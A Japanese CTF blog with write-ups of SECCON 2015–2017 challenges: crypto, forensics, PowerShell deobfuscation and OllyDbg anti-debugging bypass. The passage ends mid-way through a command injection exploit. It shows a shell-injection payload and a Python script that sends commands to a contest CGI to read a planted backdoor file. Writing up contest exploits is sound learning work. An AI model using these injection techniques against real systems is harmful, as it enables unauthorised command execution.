yuki-ctf
yuki-ctf
Computer Security, CTF and ...
48 posts
CTFを中心に情報収集してメモしています。
Don't wanna be here? Send us removal request.
yuki-ctf · 8 years ago
Text
SECCON 2017 Online
12/9-10の24時間、SECCONオンライン予選がありました。海外勢も含め計1028チームが参加していたようです。結果は53位でした。国内チームのなかでは12位なので、2月に開催される国内決勝大会へ進めそうです。
putchar music - Programming 100
問題文はつぎのとおり。
This one line of C program works on Linux Desktop. What is this movie's title? Please answer the flag as SECCON{MOVIES_TITLE}, replace all alphabets with capital letters, and spaces with underscores.
main(t,i,j){unsigned char p[]="###>5|(int)(t*x));}}
与えられたソースをコンパイルします。include文を追加して、-lm オプションを付けてコンパイル。
#include #include
main(t,i,j){unsigned char p[]="###>5|(int)(t*x));}}
$ gcc a.c -lm
実行すると標準出力に大量のデータが流れてきます。これを再生すると映画の音楽が流れてきます。PCの環境によって音が鳴ったり鳴らなかったり?
$ a.out | aplay 再生中 raw データ 'stdin' : Unsigned 8 bit, レート 8000 Hz, モノラル
flagは SECCON{STAR_WARS}
SHA-1 is dead - Crypto 100
問題文はつぎのとおり。
SHA-1 is dead
http://sha1.pwn.seccon.jp/ Upload two files satisfy following conditions:
file1 != file2 SHA1(file1) == SHA1(file2) SHA256(file1) SHA256(file2) 2017KiB 2017KiB
1KiB = 1024 bytes
SHA1衝突が発生する2つのファイルを作成するようです。 SHA1といえば、ハッシュ衝突するファイルが実際に生成されたと話題になった件ですね。
https://shattered.io/
SHA1が衝突するファイルは既にあるので、あとはファイルサイズの条件を満たせばOK。 ハッシュ値計算の仕組みから、ハッシュ値が同じ2つのファイルに同じデータを追記した場合、追記後のファイルのハッシュは再び一致するはず。 上記サイトから衝突が発生した2つのPDFファイルをダウンロードします。
-rwxrwxrwx 1 root root 422435 12月 9 17:12 shattered-1.pdf -rwxrwxrwx 1 root root 422435 12月 9 17:12 shattered-2.pdf
2017KiBより大きく2018KiBより小さいファイルが欲しいのでサイズを計算する。
422435 bytes / 1024 = 412 KiB (shattered.ioのPDFファイルサイズ) 2017 KiB - 412 KiB = 1605 KiB (追記すべきデータのサイズ)
あとは適当なダミーデータをPDFに追記するだけ。
$ python -c "print '\xff'*1024*1605" > ff $ cat shattered-1.pdf ff > 1.pdf $ cat shattered-2.pdf ff > 2.pdf
$ ls -lrt 合計 6468 -rwxrwxrwx 1 root root 422435 12月 9 17:12 shattered-1.pdf -rwxrwxrwx 1 root root 422435 12月 9 17:12 shattered-2.pdf -rwxrwxrwx 1 root root 1643521 12月 9 17:24 ff -rwxrwxrwx 1 root root 2065956 12月 9 17:24 1.pdf -rwxrwxrwx 1 root root 2065956 12月 9 17:25 2.pdf
$ sha1sum 1.pdf 2.pdf 82a7ab1ec5d028f3956b6fe92c8ed594bfb41d92 1.pdf 82a7ab1ec5d028f3956b6fe92c8ed594bfb41d92 2.pdf
$ sha256sum 1.pdf 2.pdf f240399f72872cccc4e24fd91431bc604b5668cf7ba7e6a1ee35ad58edd43f40 1.pdf 89873267dd5f3da340e1304409aecfc1bcbd89e5428192834f6f1cc7a6902a11 2.pdf
SHA1が衝突する2つのファイルが得られました。これを問題サイトにサ���ミットして終了。 flagは SECCON{SHA-1_1995-2017?}
Powerful_Shell - Binary 300
問題文はつぎのとおり。
Crack me. powerful_shell.ps1-1fb3af91eafdbebf3b3efa3b84fcc10cfca21ab53db15c98797b500c739b0024
与えられたファイルはこんな感じ。Power Shellのスクリプトが難読化されている?
$ECCON=""; $ECCON+=[char](3783/291); $ECCON+=[char](6690/669); $ECCON+=[char](776-740); $ECCON+=[char](381-312); $ECCON+=[char](403-289); $ECCON+=[char](-301+415); $ECCON+=[char](143-32); $ECCON+=[char](93594/821); $ECCON+=[char](626-561); $ECCON+=[char](86427/873); $ECCON+=[char](112752/972); $ECCON+=[char](43680/416); $ECCON+=[char](95127/857);
(省略)
$ECCON+=[char](873-863); $ECCON+=[char](721-708); $ECCON+=[char](803-793); $ECCON+=[char](10426/802); Write-Progress -Activity "Extracting Script" -status "20040" -percentComplete 99; $ECCON+=[char](520-510); Write-Progress -Completed -Activity "Extracting Script";.([ScriptBlock]::Create($ECCON))
Windowsのデフォルトだとスクリプト実行がポリシーで制限されている。まずはスクリプトを実行可能にするために、PowerShellを管理者権限で起動して以下のコマンドを実行する。
PS C:\work> Set-ExecutionPolicy RemoteSigned
スクリプト実行するとSECCONの画像が表示されるが何かのチェックで終了している模様。
Tumblr media
難読化されているといっても所詮はスクリプトなので最後のほうでeval的なことをしているのではと思う。 それらしいところを探して、デコードされて読みやすくなった状態のコード(があるはずと想定して)を出力してみる。
最後の行を変更してファイル出力
(変更前) Write-Progress -Completed -Activity "Extracting Script";.([ScriptBlock]::Create($ECCON))
(変更後) Write-Progress -Completed -Activity "Extracting Script";[ScriptBlock]::Create($ECCON)|Out-File -FilePath C:\work\output.ps1 -Encoding Ascii
再度実行すると、デコードされたスクリプトが得られる。ちなみにこのスクリプト、デバッガによる実行を検知すると終了するようになっている。
PS C:\work> .\powerful_shell.ps1
といってもまだ難読化されているのだが。 シンタックスエラーがあるので改行コードを若干修正すると実行できる。 また、処理中に実行環境のチェックをしているのでその部分をスキップして実行するとピアノの鍵盤が。実際に音もなるらしい?(自分の環境ではうまくならなかった)
Tumblr media
処理の後半では、正しいキー入力(ピアノ演奏)を基に生成した鍵を使って、XORでデータ復号している。
(省略)
$text=@" YkwRUxVXQ05DQ1NOE1sVVU4TUxdTThBBFVdDTUwTURVTThMqFldDQUwdUxVRTBNEFVdAQUwRUxtT TBEzFVdDQU8RUxdTbEwTNxVVQUNOEFEVUUwdQBVXQ0NOE1EWUUwRQRtVQ0FME1EVUU8RThdVTUNM EVMVUUwRFxdVQUNCE1MXU2JOE0gWV0oxSk1KTEIoExdBSDBOE0MVO0NKTkAoERVDSTFKThNNFUwR FBVINUFJTkAqExtBSjFKTBEoF08RVRdKO0NKTldKMUwRQBc1QUo7SlNgTBNRFVdJSEZCSkJAKBEV QUgzSE8RQxdMHTMVSDVDSExCKxEVQ0o9SkwRQxVOE0IWSDVBSkJAKBEVQUgzThBXFTdDRExAKhMV Q0oxTxEzFzVNSkxVSjNOE0EWN0NITE4oExdBSjFMEUUXNUNTbEwTURVVSExCKxEVQ0o9SkwRQxVO EzEWSDVBSkJAKBEVQUgzThAxFTdDREwTURVKMUpOECoVThNPFUo3U0pOE0gWThNEFUITQBdDTBFK F08RQBdMHRQVQUwTSBVOEEIVThNPFUNOE0oXTBFDF0wRQRtDTBFKFU4TQxZOExYVTUwTSBVMEUEX TxFOF0NCE0oXTBNCFU4QQRVBTB1KFU4TThdMESsXQ04TRBVMEUMVThNXFk4TQRVNTBNIFUwRFBdP
(省略)
E0QVTUwTSBVMEUYXTxFAF0NCE0oXTBNCFU4QFhVBTB1KFU4TQBdMEUIXQ04TRBVMEUAVThNDFkFM EUobTBNDFUwRFBdAThNIFUITQRdME0wVQU8RShdMHUMVThMoF0wRNhdDThNEFUwRRhVOEzEWQUwR ShtME0EVTBFGF0BOE0gVQhNDF0wTVxVBTxFKF0wdQxVOEygXTBE2FxROE10VShZOTBFTF2E= "@
$plain=@() $byteString = [System.Convert]::FromBase64String($text) $xordData = $(for ($i = 0; $i -lt $byteString.length; ) { for ($j = 0; $j -lt $f.length; $j++) { $plain+=$byteString[$i] -bxor $f[$j] $i++ if ($i -ge $byteString.Length) { $j = $f.length } } }) iex([System.Text.Encoding]::ASCII.GetString($plain))
キーストローク入力を照合しているコード部分を読んで鍵を特定する。
$f="hhjhhjhjkjhjhf"
さらに、復号後のデータをファイル出力するようにスクリプトを修正して実行。
(変更前) iex([System.Text.Encoding]::ASCII.GetString($plain))
(変更後) [System.Text.Encoding]::ASCII.GetString($plain)|Out-File -FilePath C:\work\output3.ps1 -Encoding Ascii
そうして得られた復号後のスクリプトはまだ難読化されてる。。。変数名が記号になっているのでややこしい。
${;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;}; ${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;}; ${"}="["+"$(@{})"[${)}]+"$(@{})"["${}${|}"]"$(@{})"["${@}\({}"]+"\)?"[${+}]+"]"; ${;}"".("$(@{})"["${}${[}"]"$(@{})"["${}${(}"]"$(@{})"[${}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]); ${;}"$(@{})"["${}${[}"]"$(@{})"[${[}]+"${;}"["${@}${)}"];"${"}${.}${(}+${"}${ (省略)
また最後の行に着目して、デコード後のスクリプトを出力する。
(変更前) ${;}="$(@{})"["${}${[}"]"$(@{})"[${[}]+"${;}"["${@}${)}"];"${"}${.}${(}+${"}${ (省略)
(変更後) ${;}="$(@{})"["${}${[}"]"$(@{})"[${[}]+"${;}"["${@}${)}"]; Write-Host "${"}${.}${(}+\({"}\)
出力結果はこちら。またまた難読化されてる。
[CHar]36+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]61+[CHar]82+[CHar]101+[CHar]97+[CHar]100+[CHar]45+[CHar]72+[CHar]111+[CHar]115+[CHar]116+[CHar]32+[CHar]45+[CHar]80+[CHar]114+[CHar]111+[CHar]109+[CHar]112+[CHar]116+[CHar]32+[CHar]39+[CHar]69+[CHar]110+[CHar]116+[CHar]101+[CHar]114+[CHar]32+[CHar]116+[CHar]104+[CHar]101+[CHar]32+[CHar]112+[CHar]97+[CHar]115+[CHar]115+[CHar]119+[CHar]111+[CHar]114+[CHar]100+[CHar]39+[CHar]13+[CHar]10+[CHar]73+[CHar]102+[CHar]40+[CHar]36+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]32+[CHar]45+[CHar]101+[CHar]113+[CHar]32+[CHar]39+[CHar]80+[CHar]48+[CHar]119+[CHar]69+[CHar]114+[CHar]36+[CHar]72+[CHar]51+[CHar]49+[CHar]49+[CHar]39+[CHar]41+[CHar]123+[CHar]13+[CHar]10+[CHar]9+[CHar]87+[CHar]114+[CHar]105+[CHar]116+[CHar]101+[CHar]45+[CHar]72+[CHar]111+[CHar]115+[CHar]116+[CHar]32+[CHar]39+[CHar]71+[CHar]111+[CHar]111+[CHar]100+[CHar]32+[CHar]74+[CHar]111+[CHar]98+[CHar]33+[CHar]39+[CHar]59+[CHar]13+[CHar]10+[CHar]9+[CHar]87+[CHar]114+[CHar]105+[CHar]116+[CHar]101+[CHar]45+[CHar]72+[CHar]111+[CHar]115+[CHar]116+[CHar]32+[CHar]34+[CHar]83+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]123+[CHar]36+[CHar]69+[CHar]67+[CHar]67+[CHar]79+[CHar]78+[CHar]125+[CHar]34+[CHar]13+[CHar]10+[CHar]125|iex
再度、最後の箇所で難読化解除後のスクリプトを出力するよう変更。
実行して得られた結果がこちら。ようやくゴール!
$ECCON=Read-Host -Prompt 'Enter the password' If($ECCON -eq 'P0wEr$H311'){ Write-Host 'Good Job!'; Write-Host "SECCON{$ECCON}" }
flagは SECCON{P0wEr$H311}
Ps and Qs - Crypto 200
問題文はつぎのとおり。
Decrypt it. psqs1-0dd2921c9fbdb738e51639801f64164dd144d0771011a1dc3d55da6fbcb0fa02.zip (pass:seccon2017)
与えられたZipファイルの中身は暗号文と公開鍵2つです。
Archive: psqs1-0dd2921c9fbdb738e51639801f64164dd144d0771011a1dc3d55da6fbcb0fa02.zip Length Date Time Name –—— -— -— ---- 512 12-09-17 01:33 cipher 800 12-09-17 01:33 pub1.pub 800 12-09-17 01:33 pub2.pub
$ openssl rsa -in pub1.pub -text -pubin Public-Key: (4096 bit) Modulus: 00:cf:cf:bb:ee:a7:df:14:3a:8a:c2:08:b1:aa:1d: 2f:86:54:5a:c4:cb:58:8c:94:a3:fb:1c:14:ad:91: a4:f0:b9:36:15:7c:5a:4b:86:9c:18:a8:b8:64:f4: (省略)
$ openssl rsa -in pub2.pub -text -pubin Public-Key: (4096 bit) Modulus: 00:bb:33:cc:7f:cc:8e:ca:f3:bf:9e:d9:5c:58:37: 92:e1:ec:6b:80:ee:87:5e:c2:06:4d:bc:f0:75:95: c8:34:49:23:bf:53:65:24:d4:e0:a7:55:74:c7:79: (省略)
暗号文ひとつに対してわざわざ公開鍵ふたつを渡しているのが気になります。と思いつつ調べているとこんなのを見つけてしまいました。
https://github.com/Ganapati/RsaCtfTool
RsaCtfTool RSA tool for ctf - uncipher data from weak public key and try to recover private key Automatic selection of best attack for the given public key
一瞬で終了、ラッキー。
$ ~/RsaCtfTool/RsaCtfTool.py –publickey "*.pub" –private > private $ openssl rsautl -decrypt -inkey private -in cipher -out plain.txt $ cat plain.txt SECCON{1234567890ABCDEF}
flagは SECCON{1234567890ABCDEF}
JPEG file - Binary 100
問題文はつぎのとおり。
Read this JPEG is broken. It will be fixed if you change somewhere by 1 bit.
ファイルが壊れていると言っているので、修復すればflagが表示されるということでしょう。
JPEG修復してくれるというツールを適当に探してきて実行しただけ。怪しげなツールだと困るので、ツール実行前にスナップショットをとっておいて後で戻しておきました。こういう時に仮想マシンは便利です。
Tumblr media
とても楽しかったです。SECCONは毎年楽しみにしていて欠かさず参加するようにしている重要イベントです。予選突破できたのもうれしい。 運営のみなさん、チームのみなさん、まわりのいろいろな人に感謝です。ありがとうございました。
0 notes
yuki-ctf · 9 years ago
Text
SECCON 2016 Online CTF
12/10〜11の24時間、SECCONオンライン予選がありました。海外勢も含め計930チームが参加していたようです。今年はYamatoSecで参 加して170位でした。
Tumblr media
自分で解いた問題のほか、ほかのメンバーが解いたものもまとめてWrite Up書いときます。
Vigenere - Crypto 100
問題文はつぎのとおり。
k: ???????????? p: SECCON{???????????????????????????????????} c: LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ
k=key, p=plain, c=cipher, md5(p)=f528a6ab914c1ecf856a1d93103948fe
ABCDEFGHIJKLMNOPQRSTUVWXYZ{} (換字表は省略)
Vigenere cipher https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher
問題のヒントにもあるように、ヴィジュネル暗号を解けというものです。
ただし、通常の(?)ヴィジュネル暗号と違い、換字表にA-Zのほか、{}が含まれています。オンラインサイトなどで簡単に解けないよ うに、ということなのでしょう。
既知の平文と暗号文のペアが一部与えられているので、その部分の鍵は換字表を使って普通に出ます。
k: VIGENER????? p: SECCON{???????????????????????????????????} c: LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ
残りの鍵は5文字で、文字種も限られている(A-Z{}の計28種)ので、単純に総当たりすれば解けそうです。
#!/usr/bin/env python # -*- coding: utf-8 -*-
import sys import hashlib
# ヴィジュネル暗号のテーブルの並び LETTERS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ{}'
def main():    # 問題文    key = ['?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?', '?']    plain = "SECCON{???????????????????????????????????}"    cipher = "LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ"    p_md5 = "f528a6ab914c1ecf856a1d93103948fe"
   # 既知の平文・暗号文から鍵を求める    for i in range(0, len(plain)):        if (i < 7 or i == len(plain) - 1):            key[i % len(key)] = getKey(plain[i], cipher[i])
   print "Partial Key: %s" % "".join(key)
   # 鍵の残りを総当たり[VIGENER?????]    alphabet = [chr(x) for x in range(ord('A'), ord('Z') + 1)]    for a in alphabet:        for b in alphabet:            for c in alphabet:                for d in alphabet:                    for e in alphabet:                        key_try = "".join(key[:7]) + a + b + c + d + e                        p = decrypt(key_try, cipher)                        # 問題文のMD5が得られたら正解                        if (hashlib.md5(p).hexdigest() == p_md5):                            print "Key is: %s" % key_try                            print "Plain text is: %s" % p                            sys.exit()
def getKey(p, c):    num1 = LETTERS.find(p)    num2 = LETTERS.find(c)    if (num1 > num2):        num2 += len(LETTERS)    return LETTERS[num2 - num1]
# https://inventwithpython.com/vigenereCipher.py # のコードを利用 def decrypt(key, message):    translated = [] # stores the encrypted/decrypted message string    keyIndex = 0
   for symbol in message: # loop through each character in message        num = LETTERS.find(symbol)        if num != -1: # -1 means symbol.upper() was not found in LETTERS            num -= LETTERS.find(key[keyIndex]) # subtract if decrypting            num %= len(LETTERS) # handle the potential wrap-around
           # add the encrypted/decrypted symbol to the end of translated.            translated.append(LETTERS[num])
           keyIndex += 1 # move to the next letter in the key            if keyIndex == len(key):                keyIndex = 0        else:            # The symbol was not in LETTERS, so add it to translated as is.            translated.append("?")
   return ''.join(translated)
# If vigenereCipher.py is run (instead of imported as a module) call # the main() function. if __name__ == '__main__':    main()
実行するとこんな感じ。
Key is: VIGENERECODE Plain text is: SECCON{ABABABCDEDEFGHIJJKLMNOPQRSTTUVWXYYZ}
flagは SECCON{ABABABCDEDEFGHIJJKLMNOPQRSTTUVWXYYZ} 。
VoIP - Forensics 100
問題文はつぎのとおり。
Extract a voice. The flag format is SECCON{[A-Z0-9]}. voip.pcap
まずはpcapファイルをWiresharkで開きます。
Tumblr media
プロトコルRTPに着目し、適当なRTPパケットを選択した状態で、[電話] - [RTP] - [ストリーム分析] とします。
Tumblr media
再生するとフラグが読み上げられる。Wireshark、多機能ですね。 flagは SECCON{9001IVR}。
Memory Analysis - Forensics 100
問題文はつぎのとおり。
Find the website that the fake svchost is accessing. You can get the flag if you access the website!! memoryanalysis.zip The challenge files are huge, please download it first.
Hint1: http://www.volatilityfoundation.org/ Hint2: Check the hosts file
zipファイルを解凍すると forensic_100.raw というファイルがある。問題文やヒントでvolatilityのリンクがついてることから、メ モリのダンプを解析せよということで間違いないはず。
早速volatilityでイメージ解析。
# volatility -f forensic_100.raw imageinfo Volatility Foundation Volatility Framework 2.5 INFO    : volatility.debug    : Determining profile based on KDBG search...          Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
WindowsXPのメモリだと判明。
起動中のプロセスをチェックしてみる。
# volatility -f forensic_100.raw --profile=WinXPSP2x86 pslist Volatility Foundation Volatility Framework 2.5 Offset(V)  Name                    PID   PPID   Thds     Hnds   Sess  Wow64 Start                          Exit                           ---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------ 0x823c8660 System                    4      0     58      259 ------      0                                                               0x81a18020 smss.exe                540      4      3       19 ------      0 2016-12-06 05:27:04 UTC+0000                                 0x81ef6da0 csrss.exe               604    540     11      480      0      0 2016-12-06 05:27:07 UTC+0000                                 0x82173da0 winlogon.exe            628    540     24      541      0      0 2016-12-06 05:27:07 UTC+0000                                 0x8216e670 services.exe            672    628     15      286      0      0 2016-12-06 05:27:07 UTC+0000                                 0x81f8c9a0 lsass.exe               684    628     26      374      0      0 2016-12-06 05:27:07 UTC+0000                                 0x82154880 vmacthlp.exe            836    672      1       25      0      0 2016-12-06 05:27:08 UTC+0000                                 0x81e18da0 svchost.exe             848    672     20      216      0      0 2016-12-06 05:27:08 UTC+0000                                 0x82151ca8 svchost.exe             936    672     10      272      0      0 2016-12-06 05:27:08 UTC+0000                                 (省略) 0x8225bda0 IEXPLORE.EXE            380   1776     22      385      0      0 2016-12-06 05:27:19 UTC+0000                                 0x8229f7e8 IEXPLORE.EXE           1080    380     19      397      0      0 2016-12-06 05:27:21 UTC+0000                                 0x81f2cb20 wuauclt.exe            3164   1036      5      107      0      0 2016-12-06 05:28:15 UTC+0000                                 0x819b4380 tcpview.exe            3308   1556      2       84      0      0 2016-12-06 05:28:42 UTC+0000
IEが起動しているのが気になる。 iehistory というプラグインがあるようなので試してみる。
# volatility -f forensic_100.raw --profile=WinXPSP2x86 iehistory Volatility Foundation Volatility Framework 2.5 ************************************************** Process: 1080 IEXPLORE.EXE Cache type "DEST" at 0x201ca83 Last modified: 2016-12-06 14:28:40 UTC+0000 Last accessed: 2016-12-06 05:28:42 UTC+0000 URL: SYSTEM@http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pd Title: Security & Reverse :: [Data Science] Pandas - \),
IEで接続していたURLを発見。ブラウザで実際に開いてみるが、韓国語の意味がわからないサイト。
Tumblr media
問題のヒントで hosts ファイルをチェックせよ、とあったので、hosts ファイルを抜き出してみることにする。以下のチートシートを参考にした。
http://downloads.volatilityfoundation.org/releases/2.4/CheatSheet_v2.4.pdf Locate and extract the HOSTS file to local directory
filescan プラグインでファイルのリストを列挙、dumpfiles プラグインで hosts ファイルが展開されていたメモリアドレスをダンプする。
# volatility -f forensic_100.raw --profile=WinXPSP2x86 filescan | egrep hosts$ Volatility Foundation Volatility Framework 2.5 0x000000000217b748      1      0 R--rw- \Device\HarddiskVolume1\WINDOWS\system32 \drivers\etc\hosts
# volatility --profile=WinXPSP2x86 -f forensic_100.raw dumpfiles -Q 0x000000000217b748 --name -D hosts/ Volatility Foundation Volatility Framework 2.5 DataSectionObject 0x0217b748   None   \Device\HarddiskVolume1\WINDOWS\system32\drivers\etc\hosts
取得できたファイルの中身はこんな感じ。
# Copyright (c) 1993-1999 Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. # # This file contains the mappings of IP addresses to host names. Each # entry should be kept on an individual line. The IP address should # be placed in the first column followed by the corresponding host name. # The IP address and the host name should be separated by at least one # space. # # Additionally, comments (such as these) may be inserted on individual # lines or following the machine name denoted by a '#' symbol. # # For example: # #      102.54.94.97     rhino.acme.com          # source server #       38.25.63.10     x.acme.com              # x client host
127.0.0.1       localhost 153.127.200.178    crattack.tistory.com
最後の行には先ほどチェックしたホスト名��エントリがあります。 名前解決してみると実際には異なるアドレス、これは怪しい。
# dig crattack.tistor
; <<>> DiG 9.10.3-P4-Debian <<>> crattack.tistory.com ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64847 ;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 3
(省略)
;; ANSWER SECTION: crattack.tistory.com.3600INA175.126.170.110 crattack.tistory.com.3600INA175.126.170.70
(省略)
自分のマシンの hosts ファイルにも同じようにエントリを追記して、再度ブラウザでアクセス。無事フラグが書かれたファイルがダウンロードされました。
# cat Data-Science-import-pandas-as-pd SECCON{_h3110_w3_h4ve_fun_w4rg4m3_}
flagは SECCON{_h3110_w3_h4ve_fun_w4rg4m3_}。
Anti-Debugging - Binary 100
問題文
Reverse it. bin may some AV will alert,but no problem.
与えられたファイルを見てみると Windowsの実行ファイル。 Windowsマシンで解析することにします。
# file bin bin: PE32 executable (console) Intel 80386, for MS Windows
実行してみるとパスワードを聞かれ、適当に入力すると間違いと言われます。
C:\Users\root\Desktop\anti-debugging>bin.exe Input password >password password is wrong.
このままではラチがあかないので OllyDgb で開くことに。
Tumblr media
F9 で実行。パスワード入力画面で停止します。
Tumblr media
この近辺のコードをチェックしてみます。適当な場所で右クリック、[検索] - [全ての参照文字列] を選ぶ。
Tumblr media
新たに開くウインドウで "Input password > " を探し、ダブルクリックすると該当個所へジャンプします。
Tumblr media Tumblr media
もう少し下へスクロールすると、入力を受け付けたパスワードを比較する処理があります。さらに���の先には、デバッガを使っていないか、仮想環境ではないか、といったふうに、デバッグされていたら終了する処理がたくさん組み込まれています。
Tumblr media
さらにスクロールしてくと、ようやくアンチデバッグ処理が終了して、意味深な文字列を参照する箇所が見えてきます。途中の処理をスキップして、ここへたどり着くことを目指します。
Tumblr media
いったん上へもどって、パスワード照合の処理をスキップします。 該当行をダブルクリックするとコード編集できるので、NOP (何もしない命令)とします。
Tumblr media Tumblr media
こんな感じでそれぞれのデバッグ検知処理を飛ばしてもよいのですが、面倒なので一気にジャンプします。 最後の検知処理後の行き先がアドレス00401652なので、パスワード照合後にJMP命令を入れます。
Tumblr media
ところがこのままではうまく行きません。00401652番地以降では無条件に終了処理へ(0 = 1 が成立しなかったら終了)ジャンプするようになっているようです。 そこでそのジャンプ命令も削除しておきます。 また、00401652に到達したら処理中断するよう、ブレイクポイントをセットしておきます。該当行選択した状態で、F2 キーを押すとOK(セットされたら赤色になる)。
Tumblr media
ここまで準備ができたらあとは進めるだけ。 パスワード入力画面へ戻って適当な文字を入力、するとブレイクポイントで停止するので、あとは F8 キーを押してステップ実行してきます。 先ほどの怪しげな文字列以降、何回かループ処理があり、最終的にはスタックに積まれたフラグがメッセージボックスで表示されます。
Tumblr media Tumblr media
flagは SECCON{check_Ascii85} 。
一日目、二日目ともに神戸に集まってやっていました。夜は自宅で。年々問題が難しくなっているような気がします。とにかく消耗しました。 運営の皆様、一緒に集まった皆様、ありがとうございました。楽しかったです!
0 notes
yuki-ctf · 9 years ago
Text
SECCON 2015 Online CTF
12/5~6の24時間、SECCONオンライン予選がありました。海外勢も含め計872チームが参加していたようです。Ganbare Tigers Jrは134位でした。
Tumblr media
Start SECCON CTF - Exercises 50
まずは練習ということで。問題文は以下のとおり。
ex1 Cipher:PXFR}QIVTMSZCNDKUWAGJB{LHYEO Plain: ABCDEFGHIJKLMNOPQRSTUVWXYZ{}
ex2 Cipher:EV}ZZD{DWZRA}FFDNFGQO Plain: {HELLOWORLDSECCONCTF}
quiz Cipher:A}FFDNEVPFSGV}KZPN}GO Plain: ?????????????????????
平文と暗号文のペアが例として与えられていて、問題の暗号文を復号せよということ。まあ、雰囲気的に換字式暗号ですね。ex1とex2のCipher->Plainへの変換ルールをもとに、quizのCipherを変換する。trコマンドでスマートにやってた人がいたのでそれを紹介。
root# echo A}FFDNEVPFSGV}KZPN}GO | tr PXFR}QIVTMSZCNDKUWAGJB{LHYEO ABCDEFGHIJKLMNOPQRSTUVWXYZ{}
SECCON{HACKTHEPLANET}
flagは SECCON{HACKTHEPLANET} 。
Unzip the file - Crypto 100
問題として "unzip" という名前のファイルが与えられる。
root# file unzip unzip: Zip archive data, at least v2.0 to extract
解凍しようとするとパスワード保護されているようです。
root# unzip unzip Archive: unzip [unzip] backnumber08.txt password:
ファイルの中身はこんな感じ。
root# unzip -l unzip Archive: unzip Length Date Time Name ——— -——— –— ---- 14182 2015-11-30 16:23 backnumber08.txt 12064 2015-11-30 16:22 backnumber09.txt 22560 2015-12-01 15:21 flag ——— ------- 48806 3 files
検索すると "backnumber08.txt" と "backnumber09.txt" はSECCONメールマガジンのファイル名だと分かります。暗号化されたZIPの中身の一部が公開情報ということで、既知平文攻撃で解くものと考えて間違いなさそうです。pkcrackという有名なツールを使います。
root# ./pkcrack Usage: ./pkcrack -c <crypted_file> -p <plaintext_file> [other_options], where [other_options] may be one or more of -o <offset> for an offset of the plaintext into the ciphertext, (may be negative) -C <c-ZIP> where c-ZIP is a ZIP-archive containing <crypted_file> -P <p-ZIP> where p-ZIP is a ZIP-archive containing <plaintext_file> -d <d-file> where d-file is the name of the decrypted archive which will be created by this program if the correct keys are found (can only be used in conjunction with the -C option) -i switch off case-insensitive filename matching in ZIP-archives -a abort keys searching after first success -n no progress indicator
SECCONのサイトから "backnumber08.txt" と "backnumber09.txt" をダウンロード。これらのファイルからZIP(暗号化なし)を作っておきます。
root# zip known.zip backnumber0*.txt adding: backnumber08.txt (deflated 63%) adding: backnumber09.txt (deflated 60%)
あとはpkcrackを実行。
root# pkcrack -c backnumber08.txt -p backnumber08.txt -C unzip -P known.zip -d decrypted.zip
しばらく待つと無事終了。
(省略) Decrypting backnumber08.txt (5315a01322ab296c211eecba)… OK! Decrypting backnumber09.txt (83e6640cbec32aeaf10ed1ba)… OK! Decrypting flag (34e4d2ab7fe1e2421808bab2)… OK! Finished on Thu Dec 31 11:51:43 2015
復号後のZIPファイルが -d で指定した名前で生成されているので、解凍。
root# unzip decrypted.zip Archive: decrypted.zip inflating: backnumber08.txt inflating: backnumber09.txt inflating: flag
ファイル flag はword文書のようです。
root# file flag flag: Microsoft Word 2007+
開いてみると何も書かれていない状態。
Tumblr media
文字が白色で書かれていただけで、背景を色付けするとこのとおり。
Tumblr media
flagは SECCON{1s_th1s_passw0rd_ weak?} 。
Entry form - Web/Network 100
URLが与えられる。アクセスしてみると、メールアドレスと名前を入力するフォームが表示される。
http://entryform.pwn.seccon.jp/register.cgi
http://entryform.pwn.seccon.jp/ へアクセスするとディレクトリリスティングでき、 register.cgi_bak という名前のファイルがあります。上記URLで動いているCGIのバックアップファイルと見てソースコードを眺めます。ユーザから受け付けたパラメータをもとに、メール送信してログ記録する、という処理のようです。 ここで注目は以下の箇所で、ユーザからの入力を適切に処理しておらず、OSコマンドインジェクションが成立するものと思われます。
(省略) if($q->param("mail") ne '' && $q->param("name") ne '') { open(SH, "|/usr/sbin/sendmail -bm '".$q->param("mail")."'"); (省略)
perlのopen関数で|を使うとOSコマンドを実行します。上記箇所ではmailパラメータの値がsendmailの引数として渡されて処理されます。正常動作する例として mail = [email protected] の場合だと、以下のコマンドが実行されます。
/usr/sbin/sendmail -bm '[email protected]'
mailパラメータを細工して、任���のコマンドをインジェクションします。'(カンマ);(セミコロン)でいったんsendmailを完結させて引き続き別コマンドを実行する方法です。例えばlsコマンド実行する場合は mail = %27%3bls%3b%27 を送信します(';ls;' をurlエンコードした文字列)。CGI側では以下のコマンドを実行するようになります。
/usr/sbin/sendmail -bm '';ls;''
実際はこんな感じのコードを書いて順次コマンドを試していきました。
#!/usr/bin/python import urllib2
target = 'http://entryform.pwn.seccon.jp/register.cgi'
#cmd = 'ls%20-l' #cmd = 'whoami' #cmd = 'pwd' #cmd = 'id' #cmd = 'ls%20-l%20SECRETS' cmd = 'cat%20/var/www/html/SECRETS/backdoor123.php'
#cmd = 'cat%20/var/www/html/log'
mail = '%27%3b' + cmd + '%3b\'' name = 'testname'
response = urllib2.urlopen(target + '?mail=' + mail + '&name=' + name) html = response.read() print html
コマンド実行結果を見やすくしたもの。 log というファイルは権限がないのでそのままでは閲覧できません。いろいろ見てみると、backdoor123.php という名前のバックドアを設置してくれているのを発見。
